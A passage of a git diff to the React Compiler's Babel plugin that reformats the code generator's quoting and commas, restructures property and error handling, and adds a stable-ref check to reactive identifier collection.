+        instrValue.tag.kind === 'Identifier'
           ? codegenPlaceToExpression(cx, instrValue.tag)
           : t.stringLiteral(instrValue.tag.name);
       let tag: t.JSXIdentifier | t.JSXNamespacedName | t.JSXMemberExpression;
-      if (tagValue.type === "Identifier") {
+      if (tagValue.type === 'Identifier') {
         tag = createJsxIdentifier(instrValue.tag.loc, tagValue.name);
-      } else if (tagValue.type === "MemberExpression") {
+      } else if (tagValue.type === 'MemberExpression') {
         tag = convertMemberExpressionToJsx(tagValue);
       } else {
-        CompilerError.invariant(tagValue.type === "StringLiteral", {
+        CompilerError.invariant(tagValue.type === 'StringLiteral', {
           reason: `Expected JSX tag to be an identifier or string, got \`${tagValue.type}\``,
-          description: null,
-          loc: tagValue.loc ?? null,
-          suggestions: null,
+          loc: tagValue.loc ?? GeneratedSource,
         });
-        if (tagValue.value.indexOf(":") >= 0) {
-          const [namespace, name] = tagValue.value.split(":", 2);
+        if (tagValue.value.indexOf(':') >= 0) {
+          const [namespace, name] = tagValue.value.split(':', 2);
           tag = createJsxNamespacedName(
             instrValue.tag.loc,
             createJsxIdentifier(instrValue.tag.loc, namespace),
-            createJsxIdentifier(instrValue.tag.loc, name)
+            createJsxIdentifier(instrValue.tag.loc, name),
           );
         } else {
           tag = createJsxIdentifier(instrValue.loc, tagValue.value);
@@ -1812,22 +1743,20 @@ function codegenInstructionValue(
       }
       let children;
       if (
-        tagValue.type === "StringLiteral" &&
+        tagValue.type === 'StringLiteral' &&
         SINGLE_CHILD_FBT_TAGS.has(tagValue.value)
       ) {
         CompilerError.invariant(instrValue.children != null, {
+          reason: 'Expected fbt element to have children',
           loc: instrValue.loc,
-          reason: "Expected fbt element to have children",
-          suggestions: null,
-          description: null,
         });
-        children = instrValue.children.map((child) =>
-          codegenJsxFbtChildElement(cx, child)
+        children = instrValue.children.map(child =>
+          codegenJsxFbtChildElement(cx, child),
         );
       } else {
         children =
           instrValue.children !== null
-            ? instrValue.children.map((child) => codegenJsxElement(cx, child))
+            ? instrValue.children.map(child => codegenJsxElement(cx, child))
             : [];
       }
       value = createJsxElement(
@@ -1836,25 +1765,25 @@ function codegenInstructionValue(
           instrValue.openingLoc,
           tag,
           attributes,
-          instrValue.children === null
+          instrValue.children === null,
         ),
         instrValue.children !== null
           ? createJsxClosingElement(instrValue.closingLoc, tag)
           : null,
         children,
-        instrValue.children === null
+        instrValue.children === null,
       );
       break;
     }
-    case "JsxFragment": {
+    case 'JsxFragment': {
       value = t.jsxFragment(
         t.jsxOpeningFragment(),
         t.jsxClosingFragment(),
-        instrValue.children.map((child) => codegenJsxElement(cx, child))
+        instrValue.children.map(child => codegenJsxElement(cx, child)),
       );
       break;
     }
-    case "UnsupportedNode": {
+    case 'UnsupportedNode': {
       const node = instrValue.node;
       if (!t.isExpression(node)) {
         return node as any; // TODO handle statements, jsx fragments
@@ -1862,75 +1791,74 @@ function codegenInstructionValue(
       value = node;
       break;
     }
-    case "PropertyStore": {
-      value = t.assignmentExpression(
-        "=",
-        t.memberExpression(
-          codegenPlaceToExpression(cx, instrValue.object),
-          t.identifier(instrValue.property)
-        ),
-        codegenPlaceToExpression(cx, instrValue.value)
-      );
-      break;
-    }
-    case "PropertyLoad": {
-      const object = codegenPlaceToExpression(cx, instrValue.object);
+    case 'PropertyStore':
+    case 'PropertyLoad':
+    case 'PropertyDelete': {
+      let memberExpr;
       /*
        * We currently only lower single chains of optional memberexpr.
        * (See BuildHIR.ts for more detail.)
        */
-      value = t.memberExpression(
-        object,
-        t.identifier(instrValue.property),
-        undefined
-      );
-      break;
-    }
-    case "PropertyDelete": {
-      value = t.unaryExpression(
-        "delete",
-        t.memberExpression(
+      if (typeof instrValue.property === 'string') {
+        memberExpr = t.memberExpression(
           codegenPlaceToExpression(cx, instrValue.object),
-          t.identifier(instrValue.property)
-        )
-      );
+          t.identifier(instrValue.property),
+        );
+      } else {
+        memberExpr = t.memberExpression(
+          codegenPlaceToExpression(cx, instrValue.object),
+          t.numericLiteral(instrValue.property),
+          true,
+        );
+      }
+      if (instrValue.kind === 'PropertyStore') {
+        value = t.assignmentExpression(
+          '=',
+          memberExpr,
+          codegenPlaceToExpression(cx, instrValue.value),
+        );
+      } else if (instrValue.kind === 'PropertyLoad') {
+        value = memberExpr;
+      } else {
+        value = t.unaryExpression('delete', memberExpr);
+      }
       break;
     }
-    case "ComputedStore": {
+    case 'ComputedStore': {
       value = t.assignmentExpression(
-        "=",
+        '=',
         t.memberExpression(
           codegenPlaceToExpression(cx, instrValue.object),
           codegenPlaceToExpression(cx, instrValue.property),
-          true
+          true,
         ),
-        codegenPlaceToExpression(cx, instrValue.value)
+        codegenPlaceToExpression(cx, instrValue.value),
       );
       break;
     }
-    case "ComputedLoad": {
+    case 'ComputedLoad': {
       const object = codegenPlaceToExpression(cx, instrValue.object);
       const property = codegenPlaceToExpression(cx, instrValue.property);
       value = t.memberExpression(object, property, true);
       break;
     }
-    case "ComputedDelete": {
+    case 'ComputedDelete': {
       value = t.unaryExpression(
-        "delete",
+        'delete',
         t.memberExpression(
           codegenPlaceToExpression(cx, instrValue.object),
           codegenPlaceToExpression(cx, instrValue.property),
-          true
-        )
+          true,
+        ),
       );
       break;
     }
-    case "LoadLocal":
-    case "LoadContext": {
+    case 'LoadLocal':
+    case 'LoadContext': {
       value = codegenPlaceToExpression(cx, instrValue.place);
       break;
     }
-    case "FunctionExpression": {
+    case 'FunctionExpression': {
       const loweredFunc = instrValue.loweredFunc.func;
       const reactiveFunction = buildReactiveFunction(loweredFunc);
       pruneUnusedLabels(reactiveFunction);
@@ -1939,103 +1867,128 @@ function codegenInstructionValue(
       const fn = codegenReactiveFunction(
         new Context(
           cx.env,
-          reactiveFunction.id ?? "[[ anonymous ]]",
+          reactiveFunction.id ?? '[[ anonymous ]]',
           cx.uniqueIdentifiers,
-          cx.temp
+          cx.fbtOperands,
+          cx.temp,
         ),
-        reactiveFunction
-      ).unwrap();
-      if (instrValue.expr.type === "ArrowFunctionExpression") {
+        reactiveFunction,
+      );
+
+      if (instrValue.type === 'ArrowFunctionExpression') {
         let body: t.BlockStatement | t.Expression = fn.body;
         if (body.body.length === 1 && loweredFunc.directives.length == 0) {
           const stmt = body.body[0]!;
-          if (stmt.type === "ReturnStatement" && stmt.argument != null) {
+          if (stmt.type === 'ReturnStatement' && stmt.argument != null) {
             body = stmt.argument;
           }
         }
         value = t.arrowFunctionExpression(fn.params, body, fn.async);
       } else {
         value = t.functionExpression(
-          fn.id ??
-            (instrValue.name != null ? t.identifier(instrValue.name) : null),
+          instrValue.name != null ? t.identifier(instrValue.name) : null,
           fn.params,
           fn.body,
           fn.generator,
-          fn.async
+          fn.async,
+        );
+      }
+      if (
+        cx.env.config.enableNameAnonymousFunctions &&
+        instrValue.name == null &&
+        instrValue.nameHint != null
+      ) {
+        const name = instrValue.nameHint;
+        value = t.memberExpression(
+          t.objectExpression([t.objectProperty(t.stringLiteral(name), value)]),
+          t.stringLiteral(name),
+          true,
+          false,
         );
       }
       break;
     }
-    case "TaggedTemplateExpression": {
+    case 'TaggedTemplateExpression': {
       value = createTaggedTemplateExpression(
         instrValue.loc,
         codegenPlaceToExpression(cx, instrValue.tag),
-        t.templateLiteral([t.templateElement(instrValue.value)], [])
+        t.templateLiteral([t.templateElement(instrValue.value)], []),
       );
       break;
     }
-    case "TypeCastExpression": {
+    case 'TypeCastExpression': {
       if (t.isTSType(instrValue.typeAnnotation)) {
-        value = t.tsAsExpression(
-          codegenPlaceToExpression(cx, instrValue.value),
-          instrValue.typeAnnotation
-        );
+        if (instrValue.typeAnnotationKind === 'satisfies') {
+          value = t.tsSatisfiesExpression(
+            codegenPlaceToExpression(cx, instrValue.value),
+            instrValue.typeAnnotation,
+          );
+        } else {
+          value = t.tsAsExpression(
+            codegenPlaceToExpression(cx, instrValue.value),
+            instrValue.typeAnnotation,
+          );
+        }
       } else {
         value = t.typeCastExpression(
           codegenPlaceToExpression(cx, instrValue.value),
-          t.typeAnnotation(instrValue.typeAnnotation)
+          t.typeAnnotation(instrValue.typeAnnotation),
         );
       }
       break;
     }
-    case "LogicalExpression": {
+    case 'LogicalExpression': {
       value = createLogicalExpression(
         instrValue.loc,
         instrValue.operator,
         codegenInstructionValueToExpression(cx, instrValue.left),
-        codegenInstructionValueToExpression(cx, instrValue.right)
+        codegenInstructionValueToExpression(cx, instrValue.right),
       );
       break;
     }
-    case "ConditionalExpression": {
+    case 'ConditionalExpression': {
       value = createConditionalExpression(
         instrValue.loc,
         codegenInstructionValueToExpression(cx, instrValue.test),
         codegenInstructionValueToExpression(cx, instrValue.consequent),
-        codegenInstructionValueToExpression(cx, instrValue.alternate)
+        codegenInstructionValueToExpression(cx, instrValue.alternate),
       );
       break;
     }
-    case "SequenceExpression": {
+    case 'SequenceExpression': {
       const body = codegenBlockNoReset(
         cx,
-        instrValue.instructions.map((instruction) => ({
-          kind: "instruction",
+        instrValue.instructions.map(instruction => ({
+          kind: 'instruction',
           instruction,
-        }))
+        })),
       ).body;
-      const expressions = body.map((stmt) => {
-        if (stmt.type === "ExpressionStatement") {
+      const expressions = body.map(stmt => {
+        if (stmt.type === 'ExpressionStatement') {
           return stmt.expression;
         } else {
           if (t.isVariableDeclaration(stmt)) {
             const declarator = stmt.declarations[0];
-            cx.errors.push({
-              reason: `(CodegenReactiveFunction::codegenInstructionValue) Cannot declare variables in a value block, tried to declare '${
-                (declarator.id as t.Identifier).name
-              }'`,
-              severity: ErrorSeverity.Todo,
-              loc: declarator.loc ?? null,
-              suggestions: null,
-            });
+            cx.recordError(
+              new CompilerErrorDetail({
+                reason: `(CodegenReactiveFunction::codegenInstructionValue) Cannot declare variables in a value block, tried to declare '${
+                  (declarator.id as t.Identifier).name
+                }'`,
+                category: ErrorCategory.Todo,
+                loc: declarator.loc ?? null,
+                suggestions: null,
+              }),
+            );
             return t.stringLiteral(`TODO handle ${declarator.id}`);
           } else {
-            cx.errors.push({
-              reason: `(CodegenReactiveFunction::codegenInstructionValue) Handle conversion of ${stmt.type} to expression`,
-              severity: ErrorSeverity.Todo,
-              loc: stmt.loc ?? null,
-              suggestions: null,
-            });
+            cx.recordError(
+              new CompilerErrorDetail({
+                reason: `(CodegenReactiveFunction::codegenInstructionValue) Handle conversion of ${stmt.type} to expression`,
+                category: ErrorCategory.Todo,
+                loc: stmt.loc ?? null,
+                suggestions: null,
+              }),
+            );
             return t.stringLiteral(`TODO handle ${stmt.type}`);
           }
         }
@@ -2050,140 +2003,152 @@ function codegenInstructionValue(
       }
       break;
     }
-    case "TemplateLiteral": {
+    case 'TemplateLiteral': {
       value = createTemplateLiteral(
         instrValue.loc,
-        instrValue.quasis.map((q) => t.templateElement(q)),
-        instrValue.subexprs.map((p) => codegenPlaceToExpression(cx, p))
+        instrValue.quasis.map(q => t.templateElement(q)),
+        instrValue.subexprs.map(p => codegenPlaceToExpression(cx, p)),
       );
       break;
     }
-    case "LoadGlobal": {
+    case 'LoadGlobal': {
       value = t.identifier(instrValue.binding.name);
       break;
     }
-    case "RegExpLiteral": {
+    case 'RegExpLiteral': {
       value = t.regExpLiteral(instrValue.pattern, instrValue.flags);
       break;
     }
-    case "MetaProperty": {
+    case 'MetaProperty': {
       value = t.metaProperty(
         t.identifier(instrValue.meta),
-        t.identifier(instrValue.property)
+        t.identifier(instrValue.property),
       );
       break;
     }
-    case "Await": {
+    case 'Await': {
       value = t.awaitExpression(codegenPlaceToExpression(cx, instrValue.value));
       break;
     }
-    case "GetIterator": {
+    case 'GetIterator': {
       value = codegenPlaceToExpression(cx, instrValue.collection);
       break;
     }
-    case "IteratorNext": {
+    case 'IteratorNext': {
       value = codegenPlaceToExpression(cx, instrValue.iterator);
       break;
     }
-    case "NextPropertyOf": {
+    case 'NextPropertyOf': {
       value = codegenPlaceToExpression(cx, instrValue.value);
       break;
     }
-    case "PostfixUpdate": {
+    case 'PostfixUpdate': {
       value = t.updateExpression(
         instrValue.operation,
         codegenPlaceToExpression(cx, instrValue.lvalue),
-        false
+        false,
       );
       break;
     }
-    case "PrefixUpdate": {
+    case 'PrefixUpdate': {
       value = t.updateExpression(
         instrValue.operation,
         codegenPlaceToExpression(cx, instrValue.lvalue),
-        true
+        true,
       );
       break;
     }
-    case "StoreLocal": {
+    case 'StoreLocal': {
       CompilerError.invariant(
         instrValue.lvalue.kind === InstructionKind.Reassign,
         {
           reason: `Unexpected StoreLocal in codegenInstructionValue`,
-          description: null,
           loc: instrValue.loc,
-          suggestions: null,
-        }
+        },
       );
       value = t.assignmentExpression(
-        "=",
+        '=',
         codegenLValue(cx, instrValue.lvalue.place),
-        codegenPlaceToExpression(cx, instrValue.value)
+        codegenPlaceToExpression(cx, instrValue.value),
       );
       break;
     }
-    case "StoreGlobal": {
+    case 'StoreGlobal': {
       value = t.assignmentExpression(
-        "=",
+        '=',
         t.identifier(instrValue.name),
-        codegenPlaceToExpression(cx, instrValue.value)
+        codegenPlaceToExpression(cx, instrValue.value),
       );
       break;
     }
-    case "ReactiveFunctionValue":
-    case "StartMemoize":
-    case "FinishMemoize":
-    case "Debugger":
-    case "DeclareLocal":
-    case "DeclareContext":
-    case "Destructure":
-    case "ObjectMethod":
-    case "StoreContext": {
+    case 'StartMemoize':
+    case 'FinishMemoize':
+    case 'Debugger':
+    case 'DeclareLocal':
+    case 'DeclareContext':
+    case 'Destructure':
+    case 'ObjectMethod':
+    case 'StoreContext': {
       CompilerError.invariant(false, {
         reason: `Unexpected ${instrValue.kind} in codegenInstructionValue`,
-        description: null,
         loc: instrValue.loc,
-        suggestions: null,
       });
     }
     default: {
       assertExhaustive(
         instrValue,
-        `Unexpected instruction value kind \`${(instrValue as any).kind}\``
+        `Unexpected instruction value kind \`${(instrValue as any).kind}\``,
       );
     }
   }
+  if (instrValue.loc != null && instrValue.loc != GeneratedSource) {
+    value.loc = instrValue.loc;
+  }
   return value;
 }
 
 /**
- * Due to a bug in earlier Babel versions, JSX string attributes with double quotes or with unicode characters
- * may be escaped unnecessarily. To avoid trigger this Babel bug, we use a JsxExpressionContainer for such strings.
+ * Due to a bug in earlier Babel versions, JSX string attributes with double quotes, unicode characters, or special
+ * control characters such as \n may be escaped unnecessarily. To avoid trigger this Babel bug, we use a
+ * JsxExpressionContainer for such strings.
+ *
+ * u0000 to u001F: C0 control codes
+ * u007F         : Delete character
+ * u0080 to u009F: C1 control codes
+ * u00A0 to uFFFF: All non-basic Latin characters
+ * https://en.wikipedia.org/wiki/List_of_Unicode_characters#Control_codes
+ *
+ * u010000 to u10FFFF: Astral plane characters
+ * https://mathiasbynens.be/notes/javascript-unicode
  */
-const STRING_REQUIRES_EXPR_CONTAINER_PATTERN = /[\u{0080}-\u{FFFF}]|"/u;
+const STRING_REQUIRES_EXPR_CONTAINER_PATTERN =
+  /[\u{0000}-\u{001F}\u{007F}\u{0080}-\u{FFFF}\u{010000}-\u{10FFFF}]|"|\\/u;
 function codegenJsxAttribute(
   cx: Context,
-  attribute: JsxAttribute
+  attribute: JsxAttribute,
 ): t.JSXAttribute | t.JSXSpreadAttribute {
   switch (attribute.kind) {
-    case "JsxAttribute": {
+    case 'JsxAttribute': {
       let propName: t.JSXIdentifier | t.JSXNamespacedName;
-      if (attribute.name.indexOf(":") === -1) {
+      if (attribute.name.indexOf(':') === -1) {
         propName = createJsxIdentifier(attribute.place.loc, attribute.name);
       } else {
-        const [namespace, name] = attribute.name.split(":", 2);
+        const [namespace, name] = attribute.name.split(':', 2);
         propName = createJsxNamespacedName(
           attribute.place.loc,
           createJsxIdentifier(attribute.place.loc, namespace),
-          createJsxIdentifier(attribute.place.loc, name)
+          createJsxIdentifier(attribute.place.loc, name),
         );
       }
       const innerValue = codegenPlaceToExpression(cx, attribute.place);
       let value;
       switch (innerValue.type) {
-        case "StringLiteral": {
+        case 'StringLiteral': {
           value = innerValue;
-          if (STRING_REQUIRES_EXPR_CONTAINER_PATTERN.test(value.value)) {
+          if (
+            STRING_REQUIRES_EXPR_CONTAINER_PATTERN.test(value.value) &&
+            !cx.fbtOperands.has(attribute.place.identifier.id)
+          ) {
             value = createJsxExpressionContainer(value.loc, value);
           }
           break;
@@ -2201,24 +2166,24 @@ function codegenJsxAttribute(
       }
       return createJsxAttribute(attribute.place.loc, propName, value);
     }
-    case "JsxSpreadAttribute": {
+    case 'JsxSpreadAttribute': {
       return t.jsxSpreadAttribute(
-        codegenPlaceToExpression(cx, attribute.argument)
+        codegenPlaceToExpression(cx, attribute.argument),
       );
     }
     default: {
       assertExhaustive(
         attribute,
-        `Unexpected attribute kind \`${(attribute as any).kind}\``
+        `Unexpected attribute kind \`${(attribute as any).kind}\``,
       );
     }
   }
 }
 
-const JSX_TEXT_CHILD_REQUIRES_EXPR_CONTAINER_PATTERN = /[<>&]/;
+const JSX_TEXT_CHILD_REQUIRES_EXPR_CONTAINER_PATTERN = /[<>&{}]/;
 function codegenJsxElement(
   cx: Context,
-  place: Place
+  place: Place,
 ):
   | t.JSXText
   | t.JSXExpressionContainer
@@ -2227,17 +2192,17 @@ function codegenJsxElement(
   | t.JSXFragment {
   const value = codegenPlace(cx, place);
   switch (value.type) {
-    case "JSXText": {
+    case 'JSXText': {
       if (JSX_TEXT_CHILD_REQUIRES_EXPR_CONTAINER_PATTERN.test(value.value)) {
         return createJsxExpressionContainer(
           place.loc,
-          createStringLiteral(place.loc, value.value)
+          createStringLiteral(place.loc, value.value),
         );
       }
       return createJsxText(place.loc, value.value);
     }
-    case "JSXElement":
-    case "JSXFragment": {
+    case 'JSXElement':
+    case 'JSXFragment': {
       return value;
     }
     default: {
@@ -2248,7 +2213,7 @@ function codegenJsxElement(
 
 function codegenJsxFbtChildElement(
   cx: Context,
-  place: Place
+  place: Place,
 ):
   | t.JSXText
   | t.JSXExpressionContainer
@@ -2258,8 +2223,8 @@ function codegenJsxFbtChildElement(
   const value = codegenPlace(cx, place);
   switch (value.type) {
     // fbt:param only allows JSX element or expression container as children
-    case "JSXText":
-    case "JSXElement": {
+    case 'JSXText':
+    case 'JSXElement': {
       return value;
     }
     default: {
@@ -2269,24 +2234,20 @@ function codegenJsxFbtChildElement(
 }
 
 function convertMemberExpressionToJsx(
-  expr: t.MemberExpression
+  expr: t.MemberExpression,
 ): t.JSXMemberExpression {
-  CompilerError.invariant(expr.property.type === "Identifier", {
-    reason: "Expected JSX member expression property to be a string",
-    description: null,
-    loc: expr.loc ?? null,
-    suggestions: null,
+  CompilerError.invariant(expr.property.type === 'Identifier', {
+    reason: 'Expected JSX member expression property to be a string',
+    loc: expr.loc ?? GeneratedSource,
   });
   const property = t.jsxIdentifier(expr.property.name);
-  if (expr.object.type === "Identifier") {
+  if (expr.object.type === 'Identifier') {
     return t.jsxMemberExpression(t.jsxIdentifier(expr.object.name), property);
   } else {
-    CompilerError.invariant(expr.object.type === "MemberExpression", {
+    CompilerError.invariant(expr.object.type === 'MemberExpression', {
       reason:
-        "Expected JSX member expression to be an identifier or nested member expression",
-      description: null,
-      loc: expr.object.loc ?? null,
-      suggestions: null,
+        'Expected JSX member expression to be an identifier or nested member expression',
+      loc: expr.object.loc ?? GeneratedSource,
     });
     const object = convertMemberExpressionToJsx(expr.object);
     return t.jsxMemberExpression(object, property);
@@ -2295,35 +2256,36 @@ function convertMemberExpressionToJsx(
 
 function codegenObjectPropertyKey(
   cx: Context,
-  key: ObjectPropertyKey
+  key: ObjectPropertyKey,
 ): t.Expression {
   switch (key.kind) {
-    case "string": {
+    case 'string': {
       return t.stringLiteral(key.name);
     }
-    case "identifier": {
+    case 'identifier': {
       return t.identifier(key.name);
     }
-    case "computed": {
+    case 'computed': {
       const expr = codegenPlace(cx, key.name);
       CompilerError.invariant(t.isExpression(expr), {
-        reason: "Expected object property key to be an expression",
-        description: null,
+        reason: 'Expected object property key to be an expression',
         loc: key.name.loc,
-        suggestions: null,
       });
       return expr;
     }
+    case 'number': {
+      return t.numericLiteral(key.name);
+    }
   }
 }
 
 function codegenArrayPattern(
   cx: Context,
-  pattern: ArrayPattern
+  pattern: ArrayPattern,
 ): t.ArrayPattern {
-  const hasHoles = !pattern.items.every((e) => e.kind !== "Hole");
+  const hasHoles = !pattern.items.every(e => e.kind !== 'Hole');
   if (hasHoles) {
-    const result = t.arrayPattern([]);
+    const result = createArrayPattern(pattern.loc, []);
     /*
      * Older versions of babel have a validation bug fixed by
      * https://github.com/babel/babel/pull/10917
@@ -2336,7 +2298,7 @@ function codegenArrayPattern(
      * https://github.com/babel/babel/blob/v7.23.0/packages/babel-types/src/definitions/core.ts#L1306-L1311
      */
     for (const item of pattern.items) {
-      if (item.kind === "Hole") {
+      if (item.kind === 'Hole') {
         result.elements.push(null);
       } else {
         result.elements.push(codegenLValue(cx, item));
@@ -2344,55 +2306,57 @@ function codegenArrayPattern(
     }
     return result;
   } else {
-    return t.arrayPattern(
-      pattern.items.map((item) => {
-        if (item.kind === "Hole") {
+    return createArrayPattern(
+      pattern.loc,
+      pattern.items.map(item => {
+        if (item.kind === 'Hole') {
           return null;
         }
         return codegenLValue(cx, item);
-      })
+      }),
     );
   }
 }
 
 function codegenLValue(
   cx: Context,
-  pattern: Pattern | Place | SpreadPattern
+  pattern: Pattern | Place | SpreadPattern,
 ): t.ArrayPattern | t.ObjectPattern | t.RestElement | t.Identifier {
   switch (pattern.kind) {
-    case "ArrayPattern": {
+    case 'ArrayPattern': {
       return codegenArrayPattern(cx, pattern);
     }
-    case "ObjectPattern": {
-      return t.objectPattern(
-        pattern.properties.map((property) => {
-          if (property.kind === "ObjectProperty") {
+    case 'ObjectPattern': {
+      return createObjectPattern(
+        pattern.loc,
+        pattern.properties.map(property => {
+          if (property.kind === 'ObjectProperty') {
             const key = codegenObjectPropertyKey(cx, property.key);
             const value = codegenLValue(cx, property.place);
             return t.objectProperty(
               key,
               value,
-              property.key.kind === "computed",
-              key.type === "Identifier" &&
-                value.type === "Identifier" &&
-                value.name === key.name
+              property.key.kind === 'computed',
+              key.type === 'Identifier' &&
+                value.type === 'Identifier' &&
+                value.name === key.name,
             );
           } else {
             return t.restElement(codegenLValue(cx, property.place));
           }
-        })
+        }),
       );
     }
-    case "Spread": {
+    case 'Spread': {
       return t.restElement(codegenLValue(cx, pattern.place));
     }
-    case "Identifier": {
+    case 'Identifier': {
       return convertIdentifier(pattern.identifier);
     }
     default: {
       assertExhaustive(
         pattern,
-        `Unexpected pattern kind \`${(pattern as any).kind}\``
+        `Unexpected pattern kind \`${(pattern as any).kind}\``,
       );
     }
   }
@@ -2401,28 +2365,37 @@ function codegenLValue(
 function codegenValue(
   cx: Context,
   loc: SourceLocation,
-  value: boolean | number | string | null | undefined
+  value: boolean | number | string | null | undefined,
 ): t.Expression {
-  if (typeof value === "number") {
-    return t.numericLiteral(value);
-  } else if (typeof value === "boolean") {
+  if (typeof value === 'number') {
+    if (value < 0) {
+      /**
+       * Babel's code generator produces invalid JS for negative numbers when
+       * run with { compact: true }.
+       * See repro https://codesandbox.io/p/devbox/5d47fr
+       */
+      return t.unaryExpression('-', t.numericLiteral(-value), false);
+    } else {
+      return t.numericLiteral(value);
+    }
+  } else if (typeof value === 'boolean') {
     return t.booleanLiteral(value);
-  } else if (typeof value === "string") {
+  } else if (typeof value === 'string') {
     return createStringLiteral(loc, value);
   } else if (value === null) {
     return t.nullLiteral();
   } else if (value === undefined) {
-    return t.identifier("undefined");
+    return t.identifier('undefined');
   } else {
-    assertExhaustive(value, "Unexpected primitive value kind");
+    assertExhaustive(value, 'Unexpected primitive value kind');
   }
 }
 
 function codegenArgument(
   cx: Context,
-  arg: Place | SpreadPattern
+  arg: Place | SpreadPattern,
 ): t.Expression | t.SpreadElement {
-  if (arg.kind === "Identifier") {
+  if (arg.kind === 'Identifier') {
     return codegenPlaceToExpression(cx, arg);
   } else {
     return t.spreadElement(codegenPlaceToExpression(cx, arg.place));
@@ -2435,17 +2408,16 @@ function codegenPlaceToExpression(cx: Context, place: Place): t.Expression {
 }
 
 function codegenPlace(cx: Context, place: Place): t.Expression | t.JSXText {
-  let tmp = cx.temp.get(place.identifier.id);
+  let tmp = cx.temp.get(place.identifier.declarationId);
   if (tmp != null) {
     return tmp;
   }
   CompilerError.invariant(place.identifier.name !== null || tmp !== undefined, {
     reason: `[Codegen] No value found for temporary`,
     description: `Value for '${printPlace(
-      place
+      place,
     )}' was not set in the codegen context`,
     loc: place.loc,
-    suggestions: null,
   });
   const identifier = convertIdentifier(place.identifier);
   identifier.loc = place.loc as any;
@@ -2454,13 +2426,54 @@ function codegenPlace(cx: Context, place: Place): t.Expression | t.JSXText {
 
 function convertIdentifier(identifier: Identifier): t.Identifier {
   CompilerError.invariant(
-    identifier.name !== null && identifier.name.kind === "named",
+    identifier.name !== null && identifier.name.kind === 'named',
     {
       reason: `Expected temporaries to be promoted to named identifiers in an earlier pass`,
-      loc: GeneratedSource,
       description: `identifier ${identifier.id} is unnamed`,
-      suggestions: null,
-    }
+      loc: GeneratedSource,
+    },
+  );
+  return createIdentifier(identifier.loc, identifier.name.value);
+}
+
+function compareScopeDependency(
+  a: ReactiveScopeDependency,
+  b: ReactiveScopeDependency,
+): number {
+  CompilerError.invariant(
+    a.identifier.name?.kind === 'named' && b.identifier.name?.kind === 'named',
+    {
+      reason: '[Codegen] Expected named identifier for dependency',
+      loc: a.identifier.loc,
+    },
+  );
+  const aName = [
+    a.identifier.name.value,
+    ...a.path.map(entry => `${entry.optional ? '?' : ''}${entry.property}`),
+  ].join('.');
+  const bName = [
+    b.identifier.name.value,
+    ...b.path.map(entry => `${entry.optional ? '?' : ''}${entry.property}`),
+  ].join('.');
+  if (aName < bName) return -1;
+  else if (aName > bName) return 1;
+  else return 0;
+}
+
+function compareScopeDeclaration(
+  a: ReactiveScopeDeclaration,
+  b: ReactiveScopeDeclaration,
+): number {
+  CompilerError.invariant(
+    a.identifier.name?.kind === 'named' && b.identifier.name?.kind === 'named',
+    {
+      reason: '[Codegen] Expected named identifier for declaration',
+      loc: a.identifier.loc,
+    },
   );
-  return t.identifier(identifier.name.value);
+  const aName = a.identifier.name.value;
+  const bName = b.identifier.name.value;
+  if (aName < bName) return -1;
+  else if (aName > bName) return 1;
+  else return 0;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/CollectReactiveIdentifiers.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/CollectReactiveIdentifiers.ts
index 18e37f20f979..385123400581 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/CollectReactiveIdentifiers.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/CollectReactiveIdentifiers.ts
@@ -12,8 +12,10 @@ import {
   PrunedReactiveScopeBlock,
   ReactiveFunction,
   isPrimitiveType,
-} from "../HIR/HIR";
-import { ReactiveFunctionVisitor, visitReactiveFunction } from "./visitors";
+  isUseRefType,
+  Identifier,
+} from '../HIR/HIR';
+import {ReactiveFunctionVisitor, visitReactiveFunction} from './visitors';
 
 class Visitor extends ReactiveFunctionVisitor<Set<IdentifierId>> {
   /*
@@ -23,7 +25,7 @@ class Visitor extends ReactiveFunctionVisitor<Set<IdentifierId>> {
   override visitLValue(
     id: InstructionId,
     lvalue: Place,
-    state: Set<IdentifierId>
+    state: Set<IdentifierId>,
   ): void {
     this.visitPlace(id, lvalue, state);
   }
@@ -36,7 +38,7 @@ class Visitor extends ReactiveFunctionVisitor<Set<IdentifierId>> {
   override visitPlace(
     _id: InstructionId,
     place: Place,
-    state: Set<IdentifierId>
+    state: Set<IdentifierId>,
   ): void {
     if (place.reactive) {
       state.add(place.identifier.id);
@@ -45,24 +47,32 @@ class Visitor extends ReactiveFunctionVisitor<Set<IdentifierId>> {
 
   override visitPrunedScope(
     scopeBlock: PrunedReactiveScopeBlock,
-    state: Set<IdentifierId>
+    state: Set<IdentifierId>,
   ): void {
     this.traversePrunedScope(scopeBlock, state);
 
     for (const [id, decl] of scopeBlock.scope.declarations) {
-      if (!isPrimitiveType(decl.identifier)) {
+      if (
+        !isPrimitiveType(decl.identifier) &&
+        !isStableRefType(decl.identifier, state)
+      ) {
         state.add(id);
       }
     }
   }
 }
-
+function isStableRefType(
+  identifier: Identifier,
+  reactiveIdentifiers: Set<IdentifierId>,
+): boolean {
+  return isUseRefType(identifier) && !reactiveIdentifiers.has(identifier.id);
+}
 /*
  * Computes a set of identifiers which are reactive, using the analysis previously performed
  * in `InferReactivePlaces`.
  */
 export function collectReactiveIdentifiers(
-  fn: ReactiveFunction
+  fn: ReactiveFunction,
 ): Set<IdentifierId> {
   const visitor = new Visitor();
   const state = new Set<IdentifierId>();
diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/CollectReferencedGlobals.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/CollectReferencedGlobals.ts
index ee9bf979aaac..0875825dd5d4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/CollectReferencedGlobals.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/CollectReferencedGlobals.ts
@@ -5,9 +5,9 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { visitReactiveFunction } from ".";
-import { InstructionId, Place, ReactiveFunction, ReactiveValue } from "../HIR";
-import { ReactiveFunctionVisitor } from "./visitors";
+import {visitReactiveFunction} from '.';
+import {InstructionId, Place, ReactiveFunction, ReactiveValue} from '../HIR';
+import {ReactiveFunctionVisitor} from './visitors';
 
 /**
  * Returns a set of unique globals (by name) that are referenced transitively within the function.
@@ -22,12 +22,12 @@ class Visitor extends ReactiveFunctionVisitor<Set<string>> {
   override visitValue(
     id: InstructionId,
     value: ReactiveValue,
-    state: Set<string>
+    state: Set<string>,
   ): void {
